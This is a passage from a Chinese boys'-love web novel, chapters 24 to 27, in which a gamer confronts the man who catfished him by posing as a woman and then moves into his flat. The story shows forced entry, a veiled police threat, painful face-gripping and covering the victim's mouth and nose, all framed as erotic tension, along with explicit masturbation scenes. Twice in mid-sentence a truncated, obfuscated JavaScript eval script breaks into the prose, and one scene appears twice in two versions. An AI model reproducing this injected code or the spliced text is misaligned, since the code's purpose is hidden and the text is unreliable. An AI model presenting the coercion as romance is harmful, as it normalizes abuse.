黎清跪坐着抬起头，怔怔地呆在原地。无声的对峙中，门内的人与门外的影子共同沉默着。时间在对峙中被拉长、绷紧，细微地战栗。 而就在这根弦即将断裂的刹那—— 口袋里的手机震动了。 他掏出手机，屏幕幽幽亮起。点开微信，浮在最上方的赫然是那个熟悉的头像和名字。 【然：开门，宝贝】 只有简短的四个字，却挟裹着这些日子所有未挑明的阴霾与猜忌，并精准地击碎了他的最后一丝侥幸。 现在黎清知道门外的是谁了。 24.第二十四章 假如有一天真相败露怎么办？ 自从在网上装成女生、并以这样的身份跟同□□往后，黎清就时常担心这一天的到来，并在脑海中幻想过各种可能性。 变声器失灵、照片露馅、视频忘关……每个可能导致的情况他都考虑过，并在之后更加谨慎。 黎清偶尔会做噩梦。梦里的自己总是特别笨，不仅乱调变声器参数，还敢开直播打游戏。这下好了，直接在众目睽睽下暴露了秘密，在帮会和论坛中掀起轩然大波。 【我靠，小清宝宝居然是个男的？】 【说好的技术流美少女呢，我的美少女在哪里？】 【骗子！】 一时间，排山倒海的谩骂向他袭来。他试图解释，自己没有坏心思，只是一时被迷了心窍。 对于这样的说辞，围观群众显然不买账：你说你没有坏心思，那钓凯子谈恋爱又算怎么回事？ 面对他们的指责，黎清百口莫辩。就在这时，天边突然传来“轰隆”一声巨响，雷电交加，俨然一副风雨欲来的样子。 原来是萧奕然。像之前打副本一样，玩家[爱妻小清]乘坐着雷火麒麟到达了审判现场，出场方式依旧高调，并精准停在了黎清的面前。 “你骗了我。” 梦里，黎清看不清萧奕然的表情，却依稀能从五官轮廓中读出他的情绪，那是失望。 “对不起，我……” “不用狡辩了，以后我们老死不相往来吧。” 等一下！ 黎清震惊。 至少让我把转账先还回去…… 以及说这些话前，你要不先换个名字呢？ 这之后他就醒了。 虽然是虚惊一场，但梦里那种心悸和紧张的感受还残留在大脑，害他下半夜也睡的不安稳。 如果真被发现了，估计免不了要被拉黑名单避雷吧，萧奕然肯定也会非常生气，生气到把自己挂悬赏仇杀也说不定。 ——呵呵，那又怎么样，大不了直接注销账号，隔着网线谁又能找到你？ 当初怂恿黎清学习秘籍时，C就是这样说的。对于他这种善于玩弄人心、脸皮又很厚的人来说，被挂不过是件再小不过的事。大不了换号重来就是了，只要外面的皮囊换一个，谁又能知道皮下究竟是谁。 ——所以说啊，网上的事情网上解决，千万不要暴露太多现实信息。尤其是姓名和照片，知道吗？别傻乎乎发一堆过去，到时候翻车了有你哭的。 C老师，你说的对。 可现在已经来不及了。 . 黎清也不知道事情怎么会走到这步田地。 明明都是按教程走的，最初的目标也达成了，但后续发展却完全脱离了掌控。 其实他心里清楚，这段关系从一开始就埋着隐患，很难结出好的果实。但在已有的认知里，哪怕是最坏的情况，也无非就是被扒出身份，在互联网上落得一个不太好的名声，最后相忘于江湖。 那么，谁又能告诉他…… 现在站在他家门口，发消息让自己开门的人究竟是谁？ 【然：开门，宝贝】 黎清盯着这四个字，大脑宕机。 门外站着的真是萧奕然吗？ 不是耳机中传来的男声，不是游戏里的虚拟建模，不是微信置顶的头像。而是一个活生生的人。 黎清半跪在原地，像一尊被骤然抽走魂魄的石膏像，唯有胸腔里心脏还在跳动。 “叩、叩。” 敲门声接着响起，黎清迟迟不动，想必外面的人也已耐心耗尽。 一下，一下，指关节敲击门板的频率不疾不徐，声音却很大，把黎清惊得连连后退。 “……！” 他向后挪动，身体不小心撞上一旁鞋架，杂物散落一地。 敲门声停了。 手机屏幕随之亮起。 【然：撞到哪里了？】 【然：开门，让我看看】 【然：你知道早晚有这一天的。把一切都说清楚，你也不希望我下次带着警察拜访吧】 是的，我早知道的… 这些话几乎已是明晃晃的威胁，但黎清听后却如梦初醒般，像是被重新上了发条的木偶，撑着发软的腿慢慢站了起来。 迟早要说清楚的。虽然局面已经变得完全失控，但该面对的终究躲不掉。 自己做的事自己承担，黎清在心里对说道，别再一直逃避了… 指尖碰到门把手，他停顿了几秒，最终做出了一个危险的决定。 “吱——” 门开了一道缝。 走廊昏黄的光立刻挤进来，落在玄关冰凉的地板上。光影交界处，一道修长的人影立在那里。 好高。 这是黎清的第一反应。 门口的身影裹在一件黑色大衣中。明明视频里已经看过无数次，真人带来的感受却截然不同。不单是身高，更有一种无形而极具存在感的气势。 而他的脸——那张黎清见过无数次的脸，明明近在咫尺，却透着一股陌生的冷峻。 平时视频时，萧奕然大多是放松的，神情带笑，锐利的长相也被柔化，是黎清可以倾诉烦恼的恋人。 可此刻，眼前的他一丝表情也无，下颌绷紧，嘴角抿成直线，就连门廊的暖光都只是让他眉骨轮廓更加幽深。高大的身形投下厚重的阴影，几乎快将门内的人整个笼了进去。 黎清被这个陌生的萧奕然吓到了，他扒着门，一个字都挤不出来，只能睁大眼睛、呆呆地望着。 僵硬的对视中，对方的目光也沉甸甸落在了他身上。 萧奕然曾无数次幻想过二人见面的场景。 在幻想中，他们会相约于一个明媚的午后。自己千里迢迢来到海城，带着花束、礼物和真心，在约定的地点等待恋人出现。 小清自然也如约来了。她有些害羞，微微低着头，耳尖泛红，和屏幕里那可爱的模样别无二致。 他们会牵手、约会，在看电影时不停接吻，最终正式在一起。虽然是异地恋，但萧奕然觉得问题不大，自己可以经常飞往海城，也可以把她接过去。反正最后也要住在一起，等毕业后到年龄就可以结婚了。 可冰冷的现实打碎了他的期待。不仅他倾注感情的恋情是假的，现在看来，似乎连恋人本身都是个谎言。 女大学生？ 自从那晚以后，萧奕然没有一刻停止过调查。在来的路上，他更是通过中介与校内人员探得了更多信息，并刷新了对这场荒谬网恋的认知。 黎清，男，大二在读……他的“大学生女友”此刻正半趴伏在门边，上身穿着一件浅蓝色的睡衣，帽子边缘一圈软塌的绒毛蹭着耳廓。视线再往下瞧，睡衣下摆居然空荡荡，底下是两条光裸的、白得晃眼的腿。 因惊讶而睁圆的眼睛，微张的嘴。这幅情态，几乎与那晚意外露脸时完全重叠。明明在自己的地盘，却狼狈得像只误闯的小动物。 就是这双腿。 萧奕然用目光细细扫过，缓慢磨了磨后槽牙。 当初就是看了这双腿，他才被激发了兴趣，并越陷越深，做出一系列愚蠢的求偶举动。 而那之后，这也成了他梦里的常客：那么纤细又白皙，以至于所有不堪的想法都悄然升起。它的主人哭叫着，却没能唤起怜悯，反倒被掌心捂住口鼻，连同呼吸一起剥夺。 穿成这样给人开门，到底是怎么想的？ 萧奕然挪开视线，可那画面却已经烙进了眼底。 他开始控制不住地往下想：今天站在门外的如果不是自己，任何一个陌生的外卖员，都可能看见这副样子。甚至不需要开门，只要那个所谓的“室友”还在，抬眼就能撞见。 光是想象那些可能落在这双腿上的视线，一股尖锐的戾气便骤然窜起，萧奕然的心底翻涌着太多东西：审视、探究、冰冷的怒意，以及极力压制的波澜。 顶着这样复杂的目光，黎清自然不敢继续对视。他慌忙撇开眼，干涩的喉咙里挤出一丝颤抖的气音： “…萧…奕然。” 嗓子细成这样，倒是跟平常连麦没什么区别。 萧奕然几不可察地转了下眼球，目光扫过黎清苍白的脸。 “不请我进去坐坐？” 黎清有些犹豫，“就在门口讲好不好，或者我跟你出去。” 不知为什么，虽然已经闹到了当面对峙的程度，但黎清总还是抱着一丝侥幸。 也许是萧奕然带给他的印象太像个“好人”，他下意识还觉得可以沟通。但他不知道，这人对待恋人和骗子可完全是两种态度。 “让我进去。” 萧奕然当然不会给他讨价还价的机会，自己都到这了，站门口说两句话就想随便打发？ 他将手整个伸进门缝。突如其来的入侵让黎清受到不小的惊吓，连头都抬了起来。 其实，黎清若在那一瞬间用尽全力将门回推，借着自动门锁的力道，或许还能将人挡在门外。 可他怕夹伤对方。就这片刻的迟疑，那只手已强硬地探了进来，撑开缝隙，高大的身影硬生生挤进他的生活空间。 “啊……！” 这场力量的博弈中，黎清被挤的踉跄，发出短促的叫声。 萧奕然迈进屋内，反手带上了门。昏暗的玄关内，他一步步向前，黎清便跟着一步步后退，脊背最终抵上冰凉坚硬的墙面，再无路可退。 “现在，”萧奕然垂眼，俯视着被困在自己与墙壁之间的人，“你可以说了。” 自上而下的审视带着天然的压迫感。可当他看见黎清眼底的惊惧时，一股急躁便再次窜上心头。 他在怕我？ 这个认知比任何直接的冲突都更让萧奕然感到不适。 他见过这张脸在屏幕那端绽放的无数种模样：开心的笑，害羞的红晕，撒娇时微微鼓起的脸颊，甚至委屈时泛起的湿意。 唯独眼前这种几乎要溢出来的恐惧，陌生得刺眼。 几乎是下意识地，他抬起手，指尖触到对方脸颊细腻温热的皮肤，随即收拢。他用了很大力气，将那软肉都捏得变形，迫使这张脸直面自己。 “看着我。”他听见自己的声音比想象中更沉，也更冷，“你骗我的时候，想过会有今天吗？” “唔…对、对不起……” 下巴被钳制，黎清被迫半张开口，舌尖也被挤压地弹出来。吐出的字句因外力而含糊，两条腿不住打颤。 真的好可怕…… 黎清几乎要受不住了，过载的情绪和疼痛都让他头晕目眩。他到现在为止还没有吃东西，胃里空空，现在却还要被人闯入家中、掐着脸质问。 “让你说话，怎么哑巴了？” 萧奕然的话音刚落，指尖便传来一阵湿意。他微微一怔，下意识松开钳制，低头看去，自己的指腹上正沾着水痕。 “哭什么？”他皱起眉，语气满是不解，“我又没打你。” 而黎清只是掉眼泪，说话带着鼻音： “…我饿了。” * 最后总算吃上饭了，虽然过程十分煎熬。 黎清平时吃东西本来就慢，此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎清恨不得立刻消失，声音细若蚊蚋，几乎是从齿缝里挤出来的：“……是、是我自己拍的。” “有时候只露手，或者下半张脸，找角度、用滤镜。背影和远一点的……就架好手机定时，或者自己对着镜子……” 说到一半他就说不下去了，羞耻感汹涌而来。为了制造那些“真实”的瞬间，黎清曾在无人的寝室或这间小屋里，对着镜头笨拙地摆弄姿势，寻找各种角度，现在想来简直荒唐透顶。 像是急于逃避这难堪，他的语速加快，如同背诵课文：“你送的那些东西，游戏皮肤，还有转的钱，我都记了账。我攒了钱，以后……以后都会还给你。” 一场骗局终于交代完毕，客厅陷入死寂。黎清不敢抬头，萧奕然的脸上却没什么表情，显然并不满意。 “还钱？”他终于开口，声音听不出喜怒，“我不缺你这点钱。” 黎清眨了眨眼，他本想提议“我帮你代练”，可转念想到眼下这局面，萧奕然怎么可能还放心把账号交给他？ 唯一的抵债方式似乎也行不通了，他绞尽脑汁想着别的补偿，萧奕然却身体前倾，目光牢牢锁住他： “最后一个问题，你为什么骗我？” 为什么？黎清愣住了。为什么骗他？这个问题他自己可能都回答不清楚。最初确实有个理由，但在后来无数个日夜的相伴里，这个理由早已变得模糊不清。 他长时间的沉默似乎给了萧奕然某种暗示。萧奕然扯了扯嘴角，眼神里闪过一丝了然。 “为了接近我？他声音上扬，带着某种笃定，“因为我是男的，你也是男的。用这种形象比较方便，是吗？” 萧奕然猜测的方向让黎清猛地抬起头，脸上写满错愕。 “不是！”他几乎是脱口而出，声音因急切而变调。看着萧奕然脸上那副“果然如此”的神情，一股久远的委屈忽然冲破了此刻的恐惧。 “都是因为你。”黎清的声音微微发颤，带着破罐破摔的味道，“你还记不记得，之前你玩沙海，遇到一个叫AY的人给你东西，但你却把人给杀了？” 萧奕然眉头一挑，显然没料到话题会拐到这里。他隐约记得是有这么回事，游戏弱肉强食，再正常不过。 “你不是说那个AY是你朋友吗？” “AY就是我，我当时登的老板号。” 黎清的声音渐渐大了，带着点咬牙切齿的意味，“你把我杀了，老板号一次性掉了三件装备，害我只能赔钱。” 空气骤然凝固。 萧奕然的表情第一次出现了明显的裂痕，从审视的冰冷变成了最纯粹的震惊。 “所以……”他缓慢地重复，仿佛在消化这个信息，“你搞这么一出，整整五个月，装女人，跟我谈恋爱……就是为了报复我当时毁了你装备？” 这理由太过荒唐，荒唐到让他一时之间竟然不知道该愤怒还是该发笑。 黎清说完后也像是耗尽了所有的勇气，脸涨得通红。一开始确实如此，幼稚又可笑。可后来…… “呵。” 空气像是凝固了。萧奕然心中复杂的情绪也一点点被荒谬感覆盖。他盯着黎清看了好几秒，然后，忽然从鼻腔里发出一声极短的的嗤笑。 “我当是为了什么惊天动地的理由。搞了半天就为了几件游戏装备？那点破玩意儿值几个子。” 黎清被他看得无处遁形，只能把头埋得更低，指尖掐进掌心。 “行。”萧奕然点了点头，“报复，是吧？那我们来算算，这几个月里我损失了多少。” “时间，精力，感情，还有那些你以为能还得清的钱。”萧奕然的目光扫过这间狭小的出租屋，最后落回到黎清揪着睡衣的手上，“这些账，我们慢慢算。一件一件，仔仔细细地算。” 他顿了顿，看着黎清明显不安的姿态，扯出一个没什么笑意的弧度。 “但今天晚上，”他宣布，语气不容置疑，“我要先住在这里。” 25.第二十五章 观前提醒：上一章改了不少，改的萧奕然更欠了（对不起），但剧情应该更流畅了。可以重新看一遍 以下正文： “住在这里！？” 黎清听完猛地从沙发上站起来，脑子里嗡嗡作响。这是在开什么玩笑？ “怎么，对我给的第二种方案不满意，想选第一个？” “那倒也不是……” 黎清突然觉得头晕，整个人懵懵的，甚至想掐自己大腿一把，看看是不是在做梦。 “说一句话愣三秒，”萧奕然皱眉，“你脑袋里到底在想什么？” 神游被再次打断，黎清尴尬地抿了抿唇。他平时独处惯了，总容易沉浸在自己的世界里，一个人碎碎念。 “我是想问，”他清了清喉咙，尽量委婉发问，“你不回家的吗？” “当然不。” 听到这个话题，萧奕然神情有些僵硬，像是想起了什么：“反正现在还不行，至少要再待几天。” 好吧，也就几天。黎清暗暗松了口气。 “那你住完之后，还生气吗？” 他就这么仰着脸问，还穿着那身毛绒睡衣。客厅的灯光照在白皙小巧的脸上，把眼睛里的小心翼翼都照得清清楚楚，像某种正偷偷观察人类的小动物。 都这时候了还不忘装模作样… 被这么看着，萧奕然冷不防怔住，随即掩饰般地咳了几声： “看你表现。” “啊？” 黎清疑惑，都答应让他住了，还要怎么表现啊。 “你之前答应谈恋爱前，不是搞了个约法三章吗？” 确实是有这么一回事，现在想来，简直跟小学生拉钩一样幼稚，黎清羞耻的脚趾都蜷缩起来。 “我现在也要约法三章。”萧奕然开口，不容置疑的声音将他拉回现实。 “第一，在这里住的期间，我的三餐起居要由你负责，随叫随到。” 这是要我当保姆吗？ 黎清震惊，虽然早知道萧奕然是个所谓的“富少”，但没想到这么夸张。 “第二，游戏账号你照常登录，日常、副本，该做的正常做，别让帮会的人发现异常。” 呃，刚刚不是还威胁着在网上曝光我吗？ 黎清有点无语，但他怕的倒不是这个，主要不想现实受到影响。 “第三，后天有人约我打破晓的五排，到时候电脑借我用下，可能有需要你说话的时候，记得配合。” 那我是以男人还是女人的身份说话呢？ 听到这黎清总算明白了，这人大概是发现端倪后，气冲冲就跑来了海城。被骗的事情估计谁都没说，觉得丢面子吧。 忍忍吧，也就几天，把这个定时炸弹稳住。 黎清长长叹了口气。 * 初步达成一致后，如何睡觉成了个大问题。 “只能在我房间给你打个地铺了。” 虽然很不情愿，但黎清觉得只能这样了，总不能让萧奕然去睡陶朗的房间吧，况且客厅没空调，睡外面会着凉的。 萧奕然不说话，算是默许。于是黎清便领着他来到自己的房间，几平米的空间多了个个高腿长的男人，看上去更狭窄了。 “你平时就睡在这么点大的地方？” 萧奕然皱眉，感觉这里简直像个火柴盒般逼仄。不过好在干净整洁。 想起刚刚黎清说到一千五百元时，脸上委屈又心痛的表情，他大概知道了这人为什么要报复自己。毕竟这生活条件看上去确实不太好，也不知道钱都花到哪里去了。 算了，没必要替一个骗子考虑。 他告诫自己，一边走到电脑桌前。状似不经意问道： “那个天问账号一直是你本人在玩？没转手，也没和别人共用？” “没有。”黎清回答，“一直是我。从加你好友，到后来，都是我自己。” “声音呢？”萧奕然追问，“你跟我语音、视频里的声音又是怎么弄的？” 黎清的脸颊烧了起来，声音更小：“是用了变声的插件，稍微调一下。有时候不用也行，因为我本身声音也不算粗……” “那些照片。”萧奕然又抛出新问题，“你发来的生活照，看着不像网图。哪儿来的？” 黎清恨不得立刻消失，声音细若蚊蚋：“是我自己拍的。” “有时候只露手，或者下半张脸，找角度、加滤镜。背影和远一点的就架好手机定时拍照，或者自己对着镜子……” 说到一半他就说不下去了，羞耻感汹涌而来。为了制造那些“闺房”照片，黎清曾在这间小屋里笨拙地摆弄姿势，寻找各种角度，现在想来简直荒唐透顶。 “……你倒是挺有天赋的。” 目光扫过黎清的下半身，萧奕然意味不明地说了句。 “……” 一天内居然讲了这么多话，低能量星人黎清是真的累了，这会儿也不想回他，还是赶紧铺床睡觉吧。 “我先洗澡去了。” 萧奕然原本只想“捉奸”，没打算住下，所以没带洗漱用品和换洗衣物。不过这对他来说都不算事，一个闪送订单就搞定了。 等闪送的时间里，黎清拿着睡衣进了浴室。萧奕然则独自留在房间里，目光自然开始打量这个属于黎清的私人空间。 房间布局很简单：一张床，对面是书桌，中间隔着衣柜和一面落地镜。除此之外几乎没有多余物件，干净简约，像个普通男生的房间。 但细看之下，又能发现些许不同 比如床上那只兔子玩偶，他好像在黎清某张照片里见过。 书桌上放的摆件盲盒也是自己送的，当时他们一人一盒，连着视频一起拆。 而这面穿衣镜就更熟悉了。那么多“女友”的私房照，估计一大半都是对着它拍出来的。 看见房间里这么多小清宝宝生活过的痕迹，萧奕然陷入了回忆。 他拿起手机环绕四周，对照着照片和实地的对局，几乎能想象到黎清当时是怎么摆姿势的，走着走着就来到衣柜前，里面都是黎清的衣物。 衣柜最下层的抽屉没关紧，缝隙处搭着一片看不出是什么的布料，几乎要掉到地上。鬼使神差地，萧奕然蹲下身，将东西捡了起来。 是一片很小的布料，小到连掌心都铺不满，上面布满蕾丝和蝴蝶结，颜色也是淡淡的、半透明的粉。 意识到这是条女式内.裤后，萧奕然第一反应是觉得变态，差点将布料扔出去。 但他转念又想到，这玩意儿极有可能是自己挑给黎清的。那段时间他刚谈上恋爱，血气方刚，每天到了晚上就变着法子在脑海里欺负人。有时候甚至一边*一边就开始加购物车，说是脑残行为也不为过。 光是想到那时的事情，萧奕然就觉得无比燥热。就在这时，却听到身后传来开门声。 “我洗完澡了…你站在这儿干嘛？” 萧奕然闻声转头，却突然想起手里的东西。揣进口袋动作太大，匆忙间只能紧紧攥在手心。 ——也得亏这些衣物都很省布料，恨不得几根带子和珠串就打发了。 他转过头，看见了黎清。刚洗完澡，黎清换下了那件毛茸茸的家居服，转而穿上一套睡觉穿的薄款睡衣。睡衣被水汽濡湿了点，服帖地勾勒出少年人清瘦单薄的肩线轮廓。浴室带出的热气也给他的皮肤染上一层淡粉色，尤其是颊边和耳廓。 “喂，你怎么了？快仰头？” 听到黎清紧张的声音，萧奕然才 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香味不浓，却一阵阵的，经过仔细辨认，他觉得应该来源于自己正盖着的被子。 黎清的被子。 萧奕然现在一闭眼就闪过很多杂乱的画面。 画面都是碎片式的，一会儿是今天给他开门时，家居服底下光裸的腿。一会儿又是刚刚转过头时，撞见的那双湿漉漉的眼。 耳边传来均匀的呼吸声，这声音他听过好多次了，还曾戏称睡的像只小猪，惹得人伤心难受。 其实他有件事之前没说：黎清睡着时的脸蛋其实更像小猪。尤其是侧睡的时候，嘴巴微微张开，能看见一点口腔，脸上的肉被挤得嘟起，偶尔还会发出哼哼唧唧的声音。 这些事他过去没说，想来之后也不会再提，就像个尘封的秘密。 说到秘密，于是又自然地想到了那条内.裤，他刚刚匆匆去浴室的罪魁祸首。 这东西未免太害人，在浴室冲完凉水澡后，这会儿居然又热起来了。 萧奕然深呼吸，鼻尖却全是那股香气，仿佛被密不透风地包裹住。最后，他还是认命般地将手探进被子。 操…… 他觉得自己大概是疯了，明明前几天还在家逍遥快活，这会儿居然莫名其妙跑来海城，住到“网恋”对象的房子中，还睡进了别人的被窝里。 在被窝里操作并不容易，空间不大，还不能发出声音，只能憋着口气，上下滑动也不得要领。 萧奕然现在突然很想看点东西，那些对他来讲很“好用”的东西。 他解锁手机，点开私密相册，里面密密麻麻的截图和录屏都来自同一张脸。虽然理智上知道这就是个男骗子，但他那不争气的兄弟却跟认了主似的，一看见就激动。 他缓慢的、尽可能安静地进行着，但感觉却总差一点。说来可笑，正主就在旁边，自己却得看着照片打…… 屏幕亮起的灯光一闪而过时，萧奕然瞥见床底好像有什么东西。 他眯起眼睛，看不太清，本来想完事后再看，谁知举起手机时手滑了下，只好探手摸向床底。 将那个硅胶制的玩意儿从床底拿出来时，萧奕然几乎不敢相信自己的眼睛。诡异的外貌，沉甸甸的分量，甚至末端还连着一条尾巴。 *的，这是什么东西？！ 自认为是铁直男的萧奕然，刚住进来第一夜，就一连发现了数个奇怪的东西。而受此刺激，他的那玩意儿反而更加精神，也不知道多久才能消停。 现在他是真有点怀疑屋子主人的性取向了…萧奕然一边忙活一边混乱地想道。 26.第二十六章 第二天上午，黎清十点多才睁开了眼。 但睁眼归睁眼，都寒假了，又不用上课，他肯定是不会立马起床的，必须狠狠赖床才对得起假期二字。 结果刚想拿出手机玩一会儿，却想起一件十分重要的事。 ——房间里面，是不是还有一个人？ 昨夜的记忆像炮弹般袭击大脑，黎清从床边探出脑袋，果然绝望地发现了萧奕然的存在。 他还在睡觉，凌厉的眉眼闭上后削弱了攻击性。就是个子太高，一双长腿无处安放，睡地铺属实有点委屈。 一睁眼就看见“债主”，黎清瞬间没了赖床的兴致。他轻手轻脚离开房间，穿衣洗漱，对接下来的做饭发了愁。 按他往日的习惯，放假后也是吃食堂。毕竟这期间也有留校的学生，考虑到他们方便，学校会留一些窗口假期营业，虽然大概率是最难吃的一批，但对黎清而言就足够了。 可如今家里来了位少爷，还点名要他负责一日三餐，这可怎么办才好？ 黎清站在厨房里，像模像样地系上围裙，随即便开始了对着灶台发呆。 冰箱里存货寥寥，除了一些水果和鸡蛋外，就是冷冻层里夏天没吃完的雪糕，实在找不出什么像样的食物。 最后，他只能祭出毕生所学，煎了两个勉强成形的荷包蛋，又翻出自己珍藏的进口泡面，煮完后一齐端上桌。 忙活完这一通，黎清简直成就感爆棚。天底下还有比自己更勤劳的人吗？ 而且煮面这事，看着简单，实则是个技术活。不仅要拿捏时间，避免煮的太软或夹生，连加多少水也是学问。好在今天应该没翻车。 就是荷包蛋略有点逊色…其中一个似乎煎过了火，边缘焦黑，蛋白部分也皱巴巴的。 望着那个丑丑的蛋，黎清筷子一伸，将它放进了萧奕然碗里。 好了，早餐大功告成！ 于是下一个问题便随之而来：东西已经煮好，萧奕然居然还没醒，现在已经快中午了。 要不要叫醒他呢…黎清有些迟疑。面不快点吃会坨掉，但叫起床也太奇怪了吧，又不是真在给人当保姆。 不过他还是去了，毕竟是精心制作的豪华泡面，错过赏味期简直天理难容。 “醒醒。” 黎清推开房门，对着枕头上那张熟睡的脸呼唤。可地铺上的人却毫无反应。 是声音小了吗？ 他又试着叫了几次，声音逐渐提高，结果萧奕然还是连眼皮都没动一下。 看着这张毫无防备的俊脸，黎清都想直接踢醒他了，最终还是没下去脚。只能退而求其次，伸出手用力摇晃他的肩膀。 “喂，萧奕然，快醒醒、别睡了！” 这样边摇边喊确实有效果，不出几下，地铺上的人就有了反应。 “呃……” 萧奕然拧着眉，耳边是吵闹的声音，头也被摇地嗡嗡作响。 半梦半醒间，他好像看见一个人在自己身边。身上套着围裙，半跪在地板上，脸又小又白，嘴里还一张一合地说着什么。 “萧…奕然…快…” 他以为梦还没醒，这又是一个新的场景。 昨晚就是如此。艰难地解决完后，虽然人是睡着了，可闭眼后的内容反而变本加厉，各种穿搭都看了个遍。 为了守住直男的底线，萧奕然在梦里硬是连碰都没碰一下，任由对方怎么撒娇卖乖都无动于衷，堪称坐怀不乱。 本以为这场漫长的“考验”就此结束，好不容易沉入睡眠，居然又被打扰了休息。 吵了一晚上还不够，就这么欠*吗？ 而且这衣服糊弄谁呢，围裙里面怎么还穿了东西？ 起床气混杂着未能宣泄的燥热，萧奕然几乎是本能地伸手，一把将人拽了过来，随即捂住那张喋喋不休的嘴，翻身压了上去。 “真以为我不敢教训你？” 他嗓音还带着初醒的沙哑与戾气，吐字却异常清晰。身下这张脸近在咫尺，正是让他辗转反侧的罪魁祸首。 “啊！” 突如其来的力道让黎清失衡，像只被掀翻的乌龟，唇上的温热更是让他瞪大眼睛。 萧奕然的手宽大，几乎盖住他小半张脸，不止是嘴，连鼻尖也被一并捂住。手背筋骨分明，带着不容拒绝的力道。 黎清下意识地挣动，可这微弱的抵抗对意识尚未完全清醒的人而言，无异于火上浇油。挣扎中，他的手被擒住，□□也不知何时被对方的膝盖顶了进来。 呼吸开始变得困难。不止因为口鼻处的压迫，更因为身躯的紧密相贴。隔着睡衣，滚烫的体温也传了过来。那热度带着刚睡醒的烦躁，以及极具侵略性的雄性气息。 在这样的禁锢下，黎清的双手逐渐脱力，脸也涨红。一种陌生的、令人头皮发麻的战栗从身体内部升起。 要呼吸不过来了…… 他一直知道萧奕然力气大，但却从未如此刻骨地体会过这种压倒性的、绝对掌控的差距。虽然同为男性，但无论在哪个方面都相差甚远，一旦对上就没有丝毫反抗的余地。 恐慌感漫上心头，因为氧气被剥夺，他开始不住地吸气、吐气，连眼瞳都失去焦距，微微涣散。 更可怕的是，男人的脸也在不断靠近。他眯着眼睛，像在仔细打量黎清的脸和身体。就在他们的距离近到几乎犯规，差点面贴面时，黎清终于忍无可忍，张嘴叼住了他的手心的一块肉。 “……！” 微微刺痛的触感在掌心升起，伴随着麻和痒，让神志不清的人僵了一瞬。 萧奕然混沌的头脑在这一刻骤然清醒：掌心下真实的呼吸，身体接触到的柔软触感，还有透过布料传来的、属于另一个人的体温。 这不是梦。 他猛地撤开手，像被烫着似的骤然起身，动作太急，带得自己都踉跄了一下。 沉甸甸的重量卸下，黎清也瘫在原地，胸口剧烈起伏，腿根甚至因为过度紧绷而细微抽搐。 房间里静的吓人，只剩两人凌乱的呼吸声。惊悸未散，空气稠得快要化不开。 “刚做了个噩梦。” 萧奕然别开脸，用力抹了把额前的发，“你没受伤吧。” 这解释干巴巴的，还带着一种欲盖弥彰的僵硬。 “……没，”黎清撑着慢慢坐起身，声音里还裹着一丝轻颤，“我来叫你吃饭。” 只是没想到好心做事却被欺负，还差点“挨打”，这感觉实在算不上好。 “嗯。” 萧奕然含糊地应了一声，随即便没再看他，而是像逃离现场般猛地站起，头也不回地快步走向客厅，背影甚至显得有些仓促。 门被带上。独留黎清坐在还未消散的、属于另一个人的气息里，怔怔地抬手，碰了碰自己仍在发烫的地方，怎么都理解不了刚刚发生的一切。 ——这都是什么事啊？ … 因为刚才的插曲，黎清缓了一会儿才离开房间。未曾想刚走到客厅就见萧奕然从卫生间出来，额前的发梢湿漉漉的，脸上还带着水痕，像是用冷水使劲扑了把脸。 两人目光短暂一碰，又飞快地移开，一前一后地来到了餐桌旁。 “这就是你说的饭？” 萧奕然率先开口，像是急于转移话题，目光落在自己面前的碗上。 “嗯，刚煮好的。” 说话间，黎清已经拿起筷子，刚尝了一口弯起眼睛——今天真是超常发挥了，一切都拿捏的那么刚刚好。 可惜就是在房间里多耽误了会儿，不然还能更上一层楼的。 见他这享受的模样，萧奕然有点不理解，虽然他也吃过泡面，但这都是应急时的选择，哪有人把这个当美食的？ 他蹙起眉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又怎么了？黎清撇了撇嘴，正准备站起身来，就听见身后又传来声音。 “放桌上别动。” 萧奕然站在厨房门口，脸上没什么表情，说出的话却是难得通了人性：“既然你做了饭，碗我来洗。” “哦…” 有人主动做事，黎清也不推辞，把碗递了过去。 吃饱喝足后他就躺到沙发上，捞起抱枕塞进怀里，听着厨房里哗啦啦的水声。 这种感觉…该怎么形容呢？黎清将脸埋进枕头。 一个人做饭，一个人洗碗，都是普通的日常活动，可安在自己跟萧奕然身上就很别扭。好像他们在同居似的。 虽然他们确实算是同居，黎清暗想。但比起正常的室友关系，债主和背债的倒更贴切。 说来也很神奇，自己居然真的被网友找上了家门，还让他住了下来，简直是电影里才会出现的魔幻展开。 黎清懒洋洋地躺着，可能是晕碳了，眼皮一眨一眨，居然又有点犯困了。好在这个状态没持续多久，两个碗洗起来很快，不出十分钟，萧奕然就从厨房里走了出来。 “那个……” 再度独处一室，方才肢体纠缠的记忆又翻涌上来。黎清别扭的坐直身体，清了清嗓子：“关于赔偿的事，要不再谈谈。我可以先给你一部分，剩下的以后补。” “等你凑齐再说。”萧奕然没同意也没否定，语气没什么波澜，“现在，换衣服，跟我出门。” “出门做什么？”黎清一头雾水。 “去买东西。”说话间他已经走向玄关，转头看向黎清，“我刚刚看了冰箱，里面什么都没，难道你想让我每顿都吃泡面加一个煎糊的蛋吗。” 27.第二十七章 莫名其妙换上衣服，莫名其妙跟着出门，直到坐上车时，黎清还撑着下巴，陷入迷思之中。 回到十分钟前。 萧奕然洗完碗筷后。黎清本想和他谈点正事，可这个人突然就自说自话走到门前，并要求一起外出购物。 “我们两个？现在吗？” 当时，黎清正在沙发上正襟危坐，本已做好了谈判的准备，连赔偿金额都在心里过了一遍，可人家却好像压根不在乎。 “嗯。缺的东西太多，普通日用品可以网上买，但外出的衣服和电子设备还是得出门买。” 外出的衣服？电子设备？ 黎清很想问他为什么需要外出的衣服，冬天天冷，外衣多穿几天又没什么。以及电子设备，有手机不就够了？ 不是说只待几天吗，到底有什么必要去买这些…… 看他欲言又止，一脸不情愿的样子，萧奕然挑了挑眉，继续扔下重磅消息，“而且之前闪送的内衣也没有我的码，穿着难受。不让我买，穿你的？” 黎清脸腾地红了：“那你自己去买啊，我又不缺内衣。” 他确实不缺，衣柜里甚至有个抽屉专门放这些。 